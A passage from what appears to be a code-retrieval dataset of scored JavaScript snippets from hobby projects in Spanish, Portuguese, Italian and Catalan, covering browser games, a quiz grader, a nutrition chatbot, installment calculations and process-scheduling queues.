get_caja(ganador).posicion;/// ganador\n i = 0;\n TIEMPO_RANDOM = TIEMPO_RANDOM;\n TIEMPO_RANDOM = TIEMPO_RANDOM - 2000; ///2000 tiempo para ultimo movimiento , hacia ganador\n\n CUY_ROTANDO=false;\n CUY_CORRIENDO = false;\n INDICE_PUNTOS_CUY=0;\n iniciar_tiempo_random(TIEMPO_RANDOM); //////INICIO CUY\n}", "title": "" }, { "docid": "400c4ff000907768288c8481add6f0dc", "score": "0.57973474", "text": "function aciertoOfallo(acierto) {\n if(acierto==false){\n //si no ha acertado, se cambiara el texto de las instrucciones por un mensaje de fallo\n $(\"#p\").text(\"Has fallado...\");\n //y tambien el borde y el fondo por un color rojo\n $(\".instrucciones\").css(\"background-color\", '#FF8B8B');\n $(\".instrucciones\").css(\"border-color\", \"red\"); \n }else{\n //si ha acertado, se cambiara el texto de las instrucciones por un mensaje de acierto\n $(\"#p\").text(\"¡Has acertado!\");\n //y tambien el borde y el fondo por un color verde\n $(\".instrucciones\").css(\"background-color\", '#A6ED8E ');\n $(\".instrucciones\").css(\"border-color\", \"#28CC9E\");\n //despues aumentamos el contador de aciertos en 1 por cada acierto\n contador++;\n //llamamos a la funcion ganar para comprobar si el contador tiene 4 aciertos\n ganar();\n }\n \n}", "title": "" }, { "docid": "fcccaa11210b4c8b0f81d16dcdf7ce4f", "score": "0.57930875", "text": "function lista_amigos(){\r\n\tamigos=1;\r\n\tif (listAmigosAdd.length==1){\r\n\t\tdesactivarTudo();\r\n\t\tactivarBack();\r\n\t\tondeVou=listAmigosAdd[0];\r\n\t}\r\n\telse {\t\t\r\n\t\tdesactivarSeleccionar();\r\n\t\tondeVou=listAmigosAdd[0];\r\n\t}\r\n}", "title": "" }, { "docid": "92c461c78270df3dcbc773e13fb964cf", "score": "0.5789736", "text": "function imprimir2() {\n var indexCohete = findCohete(\"2\");\n if (indexCohete !== undefined) {\n var mensaje = \"C\\u00F3digo del cohete = \" + cohetesArray[indexCohete].codigo +\n \"<br><br>\" +\n (\"Potencia Actual del Cohete = \" + cohetesArray[indexCohete].potenciaActual) +\n \"<br><br>\" +\n \"Potencias máximas de los propulsores: \";\n var mensaje1 = [];\n for (var _i = 0, _a = cohetesArray[indexCohete].propulsoresArray; _i < _a.length; _i++) {\n var item = _a[_i];\n mensaje1.push(item.potenciaMaximaPropulsor);\n }\n mensaje += mensaje1.toString();\n document.getElementById(\"resultado\").innerHTML = mensaje;\n }\n else {\n alert(\"Aún no se ha creado el cohete 2\");\n }\n}", "title": "" }, { "docid": "021ad05ce5582185dbda198532a50904", "score": "0.5782041", "text": "actualizarPosicion(){\n\n //Selector de si hay que lanzar flechas no\n var lanzarFlecha = (this.flechas > 0)? true:false;\n // Moverse por el eje X\n if (controles.moverX > 0 && (this.x - gameLayer.scrollX) - this.ancho/2 < 450) {\n this.moverX(1);\n\n } else if (controles.moverX < 0 && (this.x - gameLayer.scrollX) + this.ancho/2 > 29) {\n this.moverX(-1);\n\n } else {\n this.moverX(0);\n }\n\n // Moverse por el eje Y\n if (controles.moverY > 0 && (this.y - gameLayer.scrollY) + this.alto/2 > 35) {\n this.moverY(-1);\n\n } else if (controles.moverY < 0 && (this.y - gameLayer.scrollY - this.alto/2 )< 270){\n this.moverY(1);\n\n } else {\n this.moverY(0);\n }\n\n\n //Si el delay ya se acabo, comprobar y ejenerar ataque si hay que hacerlo\n if (this.counterAtaque <= 0) {\n //Ataques\n\n if (controles.atacarDerecha) {\n var ataque = new Ataque(22, 0 , imagenes.jugador_ataque_derecha, imagenes.flecha_derecha, this,lanzarFlecha);\n this.ataqueCallback(ataque);\n this.counterAtaque = 15;\n (lanzarFlecha)?this.flechas--:this.flechas=0;\n\n }\n else if (controles.atacarIzuierda){\n var ataque = new Ataque(-22, 0, imagenes.jugador_ataque_izquierda,imagenes.flecha_izquierda ,this, lanzarFlecha);\n this.ataqueCallback(ataque);\n this.counterAtaque = 15;\n (lanzarFlecha)?this.flechas--:this.flechas=0;\n\n }\n else if(controles.atacarAbajo){\n var ataque = new Ataque(0 , 22, imagenes.jugador_ataque_abajo,imagenes.flecha_abajo, this, lanzarFlecha);\n this.ataqueCallback(ataque);\n this.counterAtaque = 15;\n (lanzarFlecha)?this.flechas--:this.flechas=0;\n }\n else if(controles.atacarArriba){\n var ataque = new Ataque(0 , -22, imagenes.jugador_ataque_arriba,imagenes.flecha_arriba, this, lanzarFlecha);\n this.ataqueCallback(ataque);\n this.counterAtaque = 15;\n (lanzarFlecha)?this.flechas--:this.flechas=0;\n\n }\n\n }\n }", "title": "" }, { "docid": "44abfca4835614fa3b54c69211c70718", "score": "0.5778758", "text": "function SumaPuntos(){\r\n Puntuacion += puntos;\r\n PuntosLabel.text = Puntuacion;\r\n if(nivel == 0 && Puntuacion >= 500){\r\n ganaste();\r\n n1=1;\r\n AllContain.removeChild(pauseButton);}\r\n if(nivel == 1 && Puntuacion >= 800){\r\n ganaste();\r\n n2=1;\r\n AllContain.removeChild(pauseButton);}\r\n if(nivel == 2 && Puntuacion >= 1200){\r\n ganaste();\r\n n3=1;\r\n AllContain.removeChild(pauseButton);}\r\n if(nivel == 3 && Puntuacion >= 1500){\r\n ganaste();\r\n n4=1;\r\n AllContain.removeChild(pauseButton); }}", "title": "" }, { "docid": "fea3d25c2f48512490c6f07651eff668", "score": "0.57682735", "text": "function Apuntar(){\n\n\tlet punto=[0,0,0];\n\tpunto[0]=tMatTaza.getTransX();\n\tpunto[1]=tMatTaza.getTransY();\n\tpunto[2]=tMatTaza.getTransZ();\n\tlet old=tMatCafetera.getTransY();\n\ttMatCafetera.setTransY(tMatTaza.getTransY());\n\ttMatCafetera.apuntarA(punto);\n\ttMatCafetera.setTransY(old);\n timerServir= setInterval(\"ServirATaza()\",30);\n}", "title": "" }, { "docid": "1d578a095fc6801ce340742ff2c61b5d", "score": "0.57657856", "text": "function anterior(c){\r\n\r\n\tvar cc0=\"txtTipoMe\"+c;\r\n\tvar cc1=\"txtTipoMeH\"+c;\r\n\tvar cc2=\"txtLote\"+c;\r\n\tvar cc3=\"txtInvima\"+c;\r\n\tvar cc4=\"txtVence\"+c;\r\n\tvar cc5=\"txtCantidad\"+c;\r\n\tvar cc6=\"txtVunitario\"+c;\r\n\tvar cc7=\"txtProvee\"+c;\r\n\tvar cc8=\"txtInv\"+c;\r\n\tvar cc9=\"txtCa\"+c;\r\n\tvar datos22=\"txtM\"+c;\r\n\t\r\n\tvar a8=document.getElementById(cc8).value;\r\n\t\r\n\t\r\n\tvar datos5=document.getElementById(datos22);\r\n\tvar datos2=encodeURIComponent(datos5.value);\r\n\t\r\n\t//recuerda a8 campo de inventario para no repetir\r\n\t//alert(\"El valor de c: \"+c+ \" el valor del campo \"+a8);\r\n\tfor(y=0; y<c; y++){\r\n\t\tvar vs=\"txtInv\"+y;\r\n\t\tvar vss=document.getElementById(vs).value;\r\n\t\tif(vss==a8){\r\n\t\t\talert(\"Solo puede generar 1 movimiento del mismo articulo!!!\");\r\n\t\t\tdocument.getElementById(cc0).value=\"\";\r\n\t\t\tdocument.getElementById(cc1).value=\"\";\r\n\t\t\tdocument.getElementById(cc2).value=\"\";\r\n\t\t\tdocument.getElementById(cc3).value=\"\";\r\n\t\t\tdocument.getElementById(cc4).value=\"\";\r\n\t\t\tdocument.getElementById(cc5).value=\"\";\r\n\t\t\tdocument.getElementById(cc6).value=\"\";\r\n\t\t\tdocument.getElementById(cc7).value=\"\";\r\n\t\t\tdocument.getElementById(cc8).value=\"\";\r\n\t\t\tdocument.getElementById(cc9).value=\"\";\r\n\t\t\tdocument.getElementById(cc0).focus();\r\n\t\t}\r\n\t\t//alert(\"lo hice \"+(y+1)+\" vez\");\r\n\t}\t\r\n}", "title": "" }, { "docid": "200180b115eac3a51963bc44763e1cc9", "score": "0.57626486", "text": "function repetirEjercicio() {\n\tvar nropaso = parseInt(pasoActual);\n\tcambiarFondo(nropaso);\n\tavanzarPaso();\n\tvar textopaso = cuento.pasos[parseInt(nropaso) - parseInt(1)];\n\tdocument.getElementById('contenedortexto').innerHTML = textopaso;\n}", "title": "" }, { "docid": "c817e88cc1e40d7d8d4a9e122e4ef3f4", "score": "0.57526904", "text": "function acumuladorSegunPartido(arrMiembros) {\n for (var puntero = 0; puntero < arrMiembros.length; puntero++) {\n let everyMember = data.results[0].members[puntero];\n switch (everyMember.party) {\n case \"R\": analisis.numberR++; break;\n case \"D\": analisis.numberD++; break;\n case \"I\": analisis.numberI++; break; \n }\n }\n }", "title": "" }, { "docid": "71c0ea691633b5612d1d8a33ade6f9bc", "score": "0.5750911", "text": "function mostrarmensaje() {\n document.getElementById(\"excuse\").innerHTML =\n numeroaleatorio(quien) +\n numeroaleatorio(accion) +\n numeroaleatorio(que) +\n numeroaleatorio(cuando);\n }", "title": "" }, { "docid": "a59e6718a942835f69c36da2ee351e3c", "score": "0.5750696", "text": "function calificadorExamen() {\n // Recorremos todas las respuestas correctas (puesto que cada pregunta tiene un acierto)\n for (var opcion of CLAVE_RESPUESTAS_CORRECTAS) {\n if (opcion.checked) {\n puntos += PUNTAJE_RESPUESTAS_CORRECTAS\n } else {\n // En caso de que la respuesta actual no sea correcta, verificamos si el usuario selecciono otra respuesta, o la dejo nula\n for (var i = inspector_preguntas; i < inspector_preguntas + 2; i++) {\n if (CLAVE_RESPUESTAS_INCORRECTAS[i].checked) {\n puntos -= PUNTAJE_RESPUESTAS_INCORRECTAS\n }\n }\n }\n // El inspector de preguntas juega un papel importante (es como un puntero), ya que se posiciona en los indices correctos para respuestas incorrectas de cada pregunta. Al inicio comienza en 0 (para la pregunta 1), posteriormente se posiciona en 2 (para la pregunta 2). Matematicamente hablando cada pregunta tiene 2 respuestas incorrectas, entonces para cada pregunta debo saltar a las siguientes 2 y así sucesivamente\n inspector_preguntas +=2\n }\n mensaje.innerHTML = `Usted obtuvo ${puntos} puntos. Gracias por participar`\n clearInterval(intervalo)\n\n // Si el puntaje es acreditable, creo un enlace para que el usuario descargue su certificado \n if(puntos > 18) {\n const a = document.createElement('a')\n const texto = document.createTextNode('Descarga tu certificado')\n a.appendChild(texto)\n a.href=\"https://platzi.com/certificado.pdf\"\n document.body.appendChild(a)\n }\n}", "title": "" }, { "docid": "e997375f190884f0a8e20d29d1dcef9d", "score": "0.5741058", "text": "function attivitaFisica(agent){\n \n let cardConsiglio = new Card('CONTATTA UN ESPERTO');\n const intensita = agent.parameters.intensitaAllenamento;\n if (intensita == 'leggero'){\n agent.add('bene. Ti consiglio di mangiare un paio d’ore prima dell’inizio dell’allenamento cibi con prevalenza di carboidrati(anche un po di pasta o'+\n ' pane va bene). Per quanto riguarda il post allenamento va bene della frutta o un bicchiere di latte, al limite se si ha molta fame andrebbe bene un '+\n 'piccolo panino, senza esagerare. In ogni caso ti consiglio di consultare questo link per maggiori informazioni: '+\n ' https://www.fondazioneveronesi.it/magazine/articoli/lesperto-risponde/cosa-mangiare-prima-di-fare-sport ');\n agent.add('Ricorda che questi sono semplici consigli che non sostituiscono un parere medico.'+ \n ' Consulta sempre il tuo medico di fiducia');\n cardConsiglio.setButton({\n text: 'Contatta',\n url: 'https://www.paginegialle.it/nutrizionista.htm'\n });\n agent.add(cardConsiglio);\n agent.add('Per qualsiasi altra informazione sono disponibile ad aiutarti ;)');\n } else{\n agent.add('Bene. Innazitutto ricorda di bere regolarmente anche prima dell’inizio dell’allenamento. Un pasto completo va consumato almeno 2-3 ore prima '+\n 'dell’allenamento, molto importante è la presenza di proteine. Va bene anche uno snack ricco di carboidrati 10 minuti prima dell’inizio dell’allenamento.'+\n ' Per maggiori informazioni puoi consultare la seguente fonte https://www.runtastic.com/blog/it/sport-cosa-mangiare-prima-e-dopo-un-allenamento/');\n agent.add('Ricorda che questi sono semplici consigli che non sostituiscono un parere medico.'+ \n ' Consulta sempre il tuo medico di fiducia');\n cardConsiglio.setButton({\n text: 'Contatta',\n url: 'https://www.paginegialle.it/nutrizionista.htm'\n });\n agent.add(cardConsiglio);\n agent.add('Per qualsiasi altra informazione sono disponibile ad aiutarti ;)');\n }\n\n }", "title": "" }, { "docid": "a54dbcb9a13320b773ae611747478430", "score": "0.5739952", "text": "function imprimirTodos() {\n var mensaje = \"\";\n if (cohetesArray.length === 0) {\n alert(\"Aún no se ha creado ningún cohete!\");\n }\n else {\n for (var _i = 0, cohetesArray_1 = cohetesArray; _i < cohetesArray_1.length; _i++) {\n var item = cohetesArray_1[_i];\n mensaje +=\n \"C\\u00F3digo del cohete = \" + item.codigo +\n \"<br>\" +\n (\"Potencia Actual del cohete = \" + item.potenciaActual) +\n \"<br>\" +\n \"Potencias máximas de los propulsores: \";\n var mensaje1 = [];\n for (var _a = 0, _b = item.propulsoresArray; _a < _b.length; _a++) {\n var elemento = _b[_a];\n mensaje1.push(elemento.potenciaMaximaPropulsor);\n }\n mensaje += mensaje1.toString() + \".<br><br>\";\n }\n document.getElementById(\"resultado\").innerHTML = mensaje;\n }\n}", "title": "" }, { "docid": "afbe45cad61d974504b01958bc1f859f", "score": "0.5738617", "text": "function ingresarDatos() {\r\n\tfor (var i = 0; i < 31; i++) {\r\n\t\thuespedes.push(parseInt(prompt(\"Ingresar cantidad...\"))); //ingreso y guardo los valores\r\n\t}\r\n}//sin RETURN porque el vector \"huespedes\" es modificado estando fuera de la función", "title": "" }, { "docid": "57aed05c1a2fa0f271a67b2b7a8f08a7", "score": "0.5738557", "text": "function CalenAntIncr() {\n\t\t\t\tif (mical.m == 1) {\n\t\t\t\t\tmicalanterior.setMes(12);\n\t\t\t\t\tmicalanterior.setAnno(mical.a - 1);\n\t\t\t\t} else {\n\t\t\t\t\tmicalanterior.setAnno(mical.a);\n\t\t\t\t\tmicalanterior.setMes(mical.m - 1);\n\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "465e7d38632f46b621fc091bef821892", "score": "0.5735881", "text": "cambiar_cuota(index=-1,cuota=null,permitir_negativos=false){\n if (cuota && index < parseInt(this.cuotas.length) - 1 && index>-1) {\n\n \n \n\n let exponencial = Math.pow(10,this.exactitud);\n \n let cantidad_n = parseInt(parseFloat(cuota.valor)*exponencial);\n \n let total_1 = 0;\n\n for (let i = index; i < this.cuotas.length; i++) {\n total_1 += parseInt(this.cuotas[i].valor*exponencial);\n }\n\n if (permitir_negativos) {\n\n console.log(\"negativo\");\n\n if (total_1-cantidad_n <= 0) {\n this.cuotas[index+1] = {\n valor: parseFloat((total_1-cantidad_n)/exponencial).toFixed(this.exactitud),\n saldo: parseFloat((total_1-cantidad_n)/exponencial).toFixed(this.exactitud),\n fecha: \"\",\n }\n \n for (let i = index+2; i < this.cuotas.length; i++) {\n this.cuotas[i] = {\n valor: 0,\n saldo: 0,\n fecha: \"\",\n }\n }\n }else{\n let cta_x = new Cuota(this.cuotas.length - (index + 1),parseFloat((total_1-cantidad_n)/exponencial).toFixed(this.exactitud),this.exactitud);\n\n for (let i = 0; i < cta_x.cuotas_a.length && index+i+1 < this.cuotas.length; i++) {\n this.cuotas[index+i+1] = {\n valor: cta_x.cuotas_a[i].valor,\n saldo: cta_x.cuotas_a[i].saldo,\n fecha: \"\",\n }\n }\n }\n\n this.cuotas[index] = {\n valor: parseFloat(cantidad_n/exponencial).toFixed(this.exactitud),\n saldo: parseFloat(cantidad_n/exponencial).toFixed(this.exactitud),\n fecha: \"\",\n }\n }else{\n console.log(\"positivo\");\n\n if (cantidad_n >= total_1) {\n this.cuotas[index] = {\n valor: parseFloat(total_1/exponencial).toFixed(this.exactitud),\n saldo: parseFloat(total_1/exponencial).toFixed(this.exactitud),\n fecha: \"\",\n }\n\n for (let i = index+1; i < this.cuotas.length; i++) {\n this.cuotas[i] = {\n valor: 0,\n saldo: 0,\n fecha: \"\",\n }\n }\n }else{\n if (cantidad_n <= 0) {\n this.cuotas[index] = {\n valor: 0,\n saldo: 0,\n fecha: \"\",\n }\n\n let cta_x = new Cuota(this.cuotas.length - (index + 1),parseFloat((total_1)/exponencial).toFixed(this.exactitud),this.exactitud);\n\n for (let i = 0; i < cta_x.cuotas_a.length && index+i+1 < this.cuotas.length; i++) {\n this.cuotas[index+i+1] = {\n valor: cta_x.cuotas_a[i].valor,\n saldo: cta_x.cuotas_a[i].saldo,\n fecha: \"\",\n }\n }\n } else {\n console.log(\"cantidad positiva\");\n\n this.cuotas[index] = {\n valor: parseFloat(cantidad_n/exponencial).toFixed(this.exactitud),\n saldo: parseFloat(cantidad_n/exponencial).toFixed(this.exactitud),\n fecha: \"\",\n }\n\n let cta_x = new Cuota(this.cuotas.length - (index + 1),parseFloat((total_1-cantidad_n)/exponencial).toFixed(this.exactitud),this.exactitud);\n\n console.log(cta_x);\n\n for (let i = 0; i < cta_x.cuotas_a.length && index+i+1 < this.cuotas.length; i++) {\n this.cuotas[index+i+1] = {\n valor: cta_x.cuotas_a[i].valor,\n saldo: cta_x.cuotas_a[i].saldo,\n fecha: \"\",\n }\n }\n }\n }\n }\n }\n }", "title": "" }, { "docid": "b0d13ea67f29ae2906d1fc5ef8496a29", "score": "0.5721797", "text": "function dibuixarPerTorns(){\n var nTorn = torn % 2; // comprovem si estem en un torn parell (player 1 (O) o imparell player 2 (X)) \n if (nTorn==0 && fetClick){ \n fetClick=false; \n if (posicioOcupada[posicioFila][posicioColumna]==0){\n dibuixarCercle (xDib,yDib,radi); // dibuixem el \"O\"\n posicioOcupada[posicioFila][posicioColumna]=idPlayerO; // marquem si la posició esta ocupada i per quin player \n calculantGuanyador(); //calculem si hi ha tres en ratlla : (veure nota)\n torn++;\n } \n }else{\n \n fetClick=false;\n \n if (posicioOcupada[posicioFila][posicioColumna]==0){\n dibuixarX(xDib,yDib,tamany); // dibuixem la \"X\"\n posicioOcupada[posicioFila][posicioColumna]=idPlayerX; // marquem si la posició esta ocupada i per quin player\n calculantGuanyador(); //calculem si hi ha tres en ratlla\n torn++;\n } \n } \n }", "title": "" }, { "docid": "e05fcaecea459a653fc9052a9284652b", "score": "0.57157946", "text": "updateUidIfAlguienAbandona(){\n\t\tthis.Uids--;\n\t\tif(this.Uids < 0)\n\t\t\tthis.Uids = 0; //evitar -1 si owner quita\n\n\t\tthis.usuarios.forEach((usuario,index) => usuario.setId(index));\n\t}", "title": "" }, { "docid": "423a0ed66c4a5d7c6456954172cf3af9", "score": "0.5697497", "text": "function jugar(opcionLetra){\n if( seguirJugando ) { \n\n letra=opcionLetra;\n\n\n if ( probarLetra() ){\n palabraOculta= insertarLetra();\n pintarLetra();\n\n } else {\n fallos++;\n pintarAhorcado();\n }\n comprovarSiAcaba();\n\n } \n\n\n}", "title": "" }, { "docid": "3d0084131b2594ddff8581061225a1ce", "score": "0.5691595", "text": "function Conferir(){\n var inserido = true;\n for (var i=last_btn-4; i<last_btn; i++){\n if (document.getElementById(\"botao-\"+i).className == \"botao cor-btn m-btn\"){\n alert(\"Por favor adicione cores a todos os botões\");\n inserido = false;\n break;\n }\n\n if(cores_escolhidas[i%4] == objetivo[i%4]){\n document.getElementById(\"conf-\"+i).className = \"ver cor-l-certo\";\n $(\"#conf-\"+i).attr({\n \"data-balloon\" : \"A cor está no lugar certo\",\n \"data-balloon-pos\" : \"up\"\n })\n acertos +=1\n }\n else if($.inArray(cores_escolhidas[i%4],objetivo)!=-1){\n document.getElementById(\"conf-\"+i).className = \"ver cor-certa\";\n $(\"#conf-\"+i).attr({\n \"data-balloon\" : \"A cor está certa, mas no lugar errado\",\n \"data-balloon-pos\" : \"up\"\n })\n }\n }\n //verifica se o jogador ganhou\n if (acertos==4){\n Modal(1,\"modal_ganhou\");\n var temp_end = new Date();\n var diferenca = temp_end.getTime() - temp_inicio.getTime();\n var segundos = Math.floor( ( diferenca % ( 60 * 1000 ) ) / 1000 );\n var minutos = Math.floor( ( diferenca % (1000 * 60 * 60) ) / ( 1000 * 60 ) );\n \n //Adicionar o 0 a mais nos minytos e nos segundos\n if (segundos<10){\n segundos = \"0\" + segundos\n }\n if(minutos<10){\n minutos = \"0\" + minutos \n }\n \n document.getElementById(\"rod\").innerHTML = \"Rodadas: \" + round;\n document.getElementById(\"temp\").innerHTML = \"Tempo Levado (mm:ss) : \" + minutos + \":\" + segundos;\n return;\n }\n\n if (inserido==true){\n round +=1;\n if(round>10){\n Modal(2,\"modal_perdeu\");\n return;\n }\n $(`<div class=\"row\">\n <div class=\"bloco\">\n <div class=\"round\" data-balloon=\"Rodada\" data-balloon-pos=\"left\">`+round+`</div>\n </div>\n <div class=\"bloco\">\n <div class=\"botao cor-btn m-btn\" id=\"botao-`+last_btn+`\" onclick=\"MudaCor(`+last_btn+`)\"></div>\n </div>\n <div class=\"bloco\">\n <div class=\"botao cor-btn m-btn\" id=\"botao-`+(last_btn+1)+`\" onclick=\"MudaCor(`+(last_btn+1)+`)\"></div>\n </div>\n <div class=\"bloco\">\n <div class=\"botao cor-btn m-btn\" id=\"botao-`+(last_btn+2)+`\" onclick=\"MudaCor(`+(last_btn+2)+`)\"></div>\n </div>\n <div class=\"bloco\">\n <div class=\"botao cor-btn m-btn\" id=\"botao-`+(last_btn+3)+`\" onclick=\"MudaCor(`+(last_btn+3)+`)\"></div>\n </div>\n <div class=\"bloco\">\n <div class=\"ver cor-btn\" id=\"conf-`+last_btn+`\"></div>\n <div class=\"ver cor-btn\" id=\"conf-`+(last_btn+1)+`\"></div>\n <div class=\"ver cor-btn\" id=\"conf-`+(last_btn+2)+`\"></div>\n <div class=\"ver cor-btn\" id=\"conf-`+(last_btn+3)+`\"></div>\n </div>\n </div>\n `).appendTo($(\"#jogo\"));\n last_btn +=4;\n acertos=0;\n }\n}", "title": "" }, { "docid": "87b07876f2b7f31469db6759e2965cf3", "score": "0.5687516", "text": "function atualiza() {\n //frames++\n\n if (estadoAtual == estados.jogando) {\n obstaculos.atualiza()\n }\n\n //Sons:\n if (estadoAtual == estados.perdeu) {\n \n audio.muted = true \n somDerrota.play()\n \n \n }\n\n if (estadoAtual == estados.jogar) {\n audio.muted = false\n\n }\n\n IMAGEMFUNDO.atualiza()\n chao.atualiza()\n bloco.atualiza()\n}", "title": "" }, { "docid": "594befe838374730b29be84ce7d0f86e", "score": "0.5683433", "text": "function colorearCajas() {\n if (contador == 0) {\n //Cajas Azules a Rojas\n cajaAzul1.classList.add('rojo');\n cajaAzul2.classList.add('rojo');\n cajaAzul3.classList.add('rojo');\n cajaAzul4.classList.add('rojo');\n cajaAzul5.classList.add('rojo');\n\n //Cajas Rojas a Azules\n cajaRojo1.classList.add('azul');\n cajaRojo2.classList.add('azul');\n cajaRojo3.classList.add('azul');\n contador = 1;\n\n } else {\n //Cajas rojas a Azules\n cajaAzul1.classList.remove('rojo');\n cajaAzul2.classList.remove('rojo');\n cajaAzul3.classList.remove('rojo');\n cajaAzul4.classList.remove('rojo');\n cajaAzul5.classList.remove('rojo');\n //Cajas Azules a rojas\n cajaRojo1.classList.remove('azul');\n cajaRojo2.classList.remove('azul');\n cajaRojo3.classList.remove('azul');\n contador = 0;\n }\n }", "title": "" }, { "docid": "3b8503680e57a194a8a78895172a6119", "score": "0.5682001", "text": "asignarImpostor(){\n\t\tif(this.numUsuario >= 4 && this.numUsuario <= 6)\n\t\t\tthis.usuarios[randomInt(0,this.numUsuario)].getTripulacion().setPapel(true);\n\t\telse{\n\t\t\tfor(let i = 0; i < 2; i++){\n\t\t\t\tlet j = randomInt(0,this.numUsuario);\n\t\t\t\tif(this.usuarios[j].getTripulacion().getPapel() != true)\n\t\t\t\t\tthis.usuarios[j].getTripulacion().setPapel(true);\n\t\t\t\telse\n\t\t\t\t\ti--;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "0a907a046bc75bad89920e55955f6926", "score": "0.56817037", "text": "compararEstoque() {\n const itemsCarrinho = this.carrinho.filter( ({id}) => id === this.produto.id )\n this.produto.estoque -= itemsCarrinho.length\n }", "title": "" }, { "docid": "14297f358c1e9acf950e8827aca2ff0f", "score": "0.56812084", "text": "function imprimePosicion(texto){\n \n // Si es menos 1, caso \"Ninguna seleccionada\"\n if(texto===\"-1\"){\n alert(\"Ninguna seleccionada\");\n }\n //Para otros casos...\n else{\n // Recorremos la matriz de la sopa de letras\n for(let i=0;i<sopaGeneral.length;i++){\n for(let j=0;j<sopaGeneral[i].length;j++){\n // Si el texto tiene N letras y en la matriz no se puede formar en horizontal una palabra de tamaño N, pasamos a la siguiente\n if(j+texto.length>sopaGeneral[i].length)\n break;\n // Si hay una palabra candidata, sacamos un texto desde j a j+ texto.length\n let cadTmp=sopaGeneral[i].slice(j,j+texto.length);\n // Comparamos la cadena obtenida con la buscada. Si son iguales\n // se muestra el resultado y se acaba el programa\n if(cadTmp===texto){\n alert(\"Posicion \"+i+\",\"+j);\n return;\n }\n }\n }\n }\n alert(\"Cadena no encontrada\");\n}", "title": "" }, { "docid": "eb1e0eca932df87567151de4b17d8aa1", "score": "0.5673785", "text": "function jogar (escolha) { \n jogadorEscolha = escolha;\n selecionar('jogador', jogadorEscolha);\n //sortear a jogada do computador\n computadorEscolha = sortear(1, 3);\n selecionar('computador', computadorEscolha);\n\n var ganhador = calcularEscolha (jogadorEscolha, computadorEscolha);\n\n if (ganhador ==0 ) {\n mensagem ('Empate');\n }\n else if (ganhador == 1) {\n mensagem ('Ponto para ' + jogadorNome);\n somarPontoJogador();\n }\n \n else if (ganhador == 2) {\n mensagem ('Ponto para Computador')\n somarPontoComputador();\n }\n \n setTimeout (function () {\n deselecionar ('jogador', jogadorEscolha)\n deselecionar ('computador', computadorEscolha)\n mensagem( jogadorNome +' escolha uma opção acima...');\n\n }, 1500);\n\n }", "title": "" }, { "docid": "7e49b2e18d6a39ca4b5db9af3ba2dfef", "score": "0.56677", "text": "function continuarColas() {\n colasMultinivel = [] // vacia el array de colas para no guardar colas repetidas (si el usuario cliquea siguiente varias veces)\n var tablaColas = document.getElementById(\"tabla-colas\").tBodies.item(0); // variable que apunta a la tabla de colas\n if (objetivo1 == false) {\n mostrarMensaje(\"errorColasMultinivel\", \"No hay ninguna cola elegida para que arriben los procesos nuevos\");\n return;\n }\n if (objetivo2 == false) {\n mostrarMensaje(\"errorColasMultinivel\", \"No hay ninguna cola elegida para que arriben los procesos que salen de la entrada\");\n return;\n }\n if (objetivo3 == false) {\n mostrarMensaje(\"errorColasMultinivel\", \"No hay ninguna cola elegida para que arriben los procesos que salen de la salida\");\n return;\n }\n if (objetivo4 == false) {\n mostrarMensaje(\"errorColasMultinivel\", \"No hay ninguna cola elegida para que arriben los procesos desalojados de la CPU\");\n return;\n }\n for (var i = 0; i < tablaColas.rows.length; i++) { // itera para cada fila de la tabla\n var colaMultinivel = { // crea un objeto con una cola y le agrega sus datos\n idCola: Number(tablaColas.rows[i].cells[0].innerHTML),\n algoritmo: tablaColas.rows[i].cells[1].children[0].children[0].value,\n procesos: [],\n }\n colasMultinivel.push(colaMultinivel); // agrega la cola al array de colas\n }\n if (seGuardaronLasColas) { // si se guardo todo continua a la parte de resultados\n $('a[href=\"#result\"]').trigger(\"click\"); // cambia a la pestaña resultados\n console.log(colasMultinivel);\n }\n if (!seGuardaronLasColas) { // si no se guardo todo avisa al usuario\n $(\"#modalContinuarSinGuardarColas\").modal(); // muestra el modal que avisa que no se guardo\n console.log(colasMultinivel);\n }\n}", "title": "" }, { "docid": "8259bd96aaab69f0aefdadea1d3a97f7", "score": "0.56626225", "text": "function clic() {\n galletas++;\n}", "title": "" }, { "docid": "50d0b30f3ef78231848d7f902e21e110", "score": "0.5662574", "text": "function azzeramentoCampoEsito(){\r\n\tif(document.inserisciTrattative.trattattivaSingola_esito.value == \"aperta\" \r\n\t\t|| document.inserisciTrattative.trattattivaSingola_esito.value == \"persa\" \r\n\t\t&& document.inserisciTrattative.esito.value == \"nuova Commessa\"){\r\n\t\tdocument.inserisciTrattative.esito.value = \"aperta\";\r\n\t\tinserimentoCommessaTrattativa = false;\r\n\t}\r\n\tif(document.inserisciTrattative.esito.value == \"aperta\" \r\n\t\t|| document.inserisciTrattative.esito.value == \"persa\" \r\n\t\t&& document.inserisciTrattative.trattattivaSingola_esito.value == \"nuova Commessa\"){\r\n\t\tdocument.inserisciTrattative.trattattivaSingola_esito.value = \"aperta\";\r\n\t\tinserimentoCommessaTrattativa = false;\r\n\t}\r\n}", "title": "" }, { "docid": "88a462d87c0bef9c6a2f727c5fd6558b", "score": "0.5658378", "text": "function resuelveAntipodas(mapaQueTengoQueSincronizar, extent, zoom){\n\n var centroMapaOrigen = extent.getCenter();\n var puntoLatLon = webMercatorUtils.xyToLngLat(centroMapaOrigen.x, centroMapaOrigen.y);\n var latitud = -puntoLatLon[1];\n var longitud;\n if (puntoLatLon[0] < 0){\n longitud = puntoLatLon[0] + 180;\n }\n else{\n longitud = puntoLatLon[0] - 180;\n }\n var centroXY = webMercatorUtils.lngLatToXY(longitud, latitud);\n var puntoQueCorrespondeALasAntipodas = new Point(centroXY[0], centroXY[1], mapaQueTengoQueSincronizar.spatialReference);\n if(mapaQueTengoQueSincronizar.loaded){\n mapaQueTengoQueSincronizar.centerAndZoom(puntoQueCorrespondeALasAntipodas, zoom);\n }\n }", "title": "" }, { "docid": "c79415b3d8572cf1620cd720986d3031", "score": "0.5649379", "text": "function alfabetica(Vetor, Ordem, Acompanhamento){\n let Funcao = 'alfabetica'\n /*Erro*/ if(Vetor[0] == undefined) return Notificar('Warn', Funcao, 'Vetor', 'Vetor', Vetor)\n /*Erro*/ if(Acompanhamento != undefined && Acompanhamento[0]) return Notificar('Warn', Funcao, `Vetor`, 'Acompanhamento', Acompanhamento)\n /*Aviso*/ if(Ordem != undefined && Ordem != 'decrescente') Notificar('Info', Funcao, `Ordem reajustada para 'crescente'`)\n\n let Tamanhos = []\n let Cortes = []\n let Atual = []\n let Corte = []\n let All = []\n let 